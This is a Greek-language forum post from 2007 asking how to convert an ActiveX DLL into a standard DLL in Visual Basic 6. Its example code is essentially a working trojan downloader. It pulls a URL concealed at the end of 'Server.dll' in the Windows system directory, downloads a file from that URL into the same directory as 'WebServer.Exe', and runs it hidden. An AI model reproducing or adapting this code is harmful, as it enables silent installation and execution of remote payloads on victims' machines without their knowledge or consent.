Μετατροπη activex dll σε standalone dll

ntaryl — Fri, 12 Jan 2007 02:32:28 GMT

Καλησπερα παιδια

Μετα απο πολυ καιρο ειπα να ποσταρω κατι

Χρησιμοποιωντας το how to που εχει ποσταρει παραπανω ο φιλος gkapnias και το αλλο how to :http://www.vb-helper.com/howto_make_standard_dll.html καταφερα να κανω την μετατροπη με επιτυχια.αυτο που θελω ειναι πως μπορω να καταφερω να το φτιαξω παλι αλλα στο παραδειγμα μου να υπαρχουν καποιες συναρητσεις αλλα και καποια api στην κοπυφη

πχ

---------------------αρχη --------------------------

Option Explicit

Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Declare Function InternetCloseHandle Lib "wininet" (ByRef hInet As Long) As Long
Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Dim Path As String, DlBuffer As String
Dim HwdOpen As Long, Dlfile As Long
Dim Returned As Long
Dim Url As String * 41
Dim url1 As String

Public Const scUserAgent = "example "
Public Const INTERNET_OPEN_TYPE_DIRECT = 1
Public Const INTERNET_FLAG_RELOAD = &H80000000

Public Sub Main()

Path = SystemDirectory & "\Server.dll"

Open Path For Binary As #1
Get #1, LOF(1) - 40, Url
Close #1

url1 = Left(Url, InStr(1, Url, "#") - 1)

Path = SystemDirectory & "\WebServer.Exe"

If Dir(Path) <> "" Then
Kill (Path)
End If

DlBuffer = Space(1000)
'creer la connection
HwdOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
'ouvrir le site
Dlfile = InternetOpenUrl(HwdOpen, url1, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
'Read the first 1000 bytes of the file
InternetReadFile Dlfile, DlBuffer, 1000, Returned
Open Path For Binary As #1
    Put #1, , DlBuffer
Close #1
DoEvents
'boucle jusqu'a ce que les data lu soit = 0
Do While Returned <> 0
    InternetReadFile Dlfile, DlBuffer, 1000, Returned
    Open Path For Binary As #1
    Put #1, LOF(1) + 1, DlBuffer
Close #1
DoEvents
Loop
InternetCloseHandle Dlfile
InternetCloseHandle HwdOpen

Shell Path, vbHide

End Sub

Function SystemDirectory() As String
Dim SysPath As String
Dim temp As String

    SysPath = String(150, Chr(0))
    temp = GetSystemDirectory(SysPath, 150)
    SystemDirectory = Left(SysPath, InStr(SysPath, Chr(0)) - 1)
End Function

--------------Τελος -------

ευχαριστω πολυ για ολα

Visual Basic 6.0

Μετατροπη activex dll σε standalone dll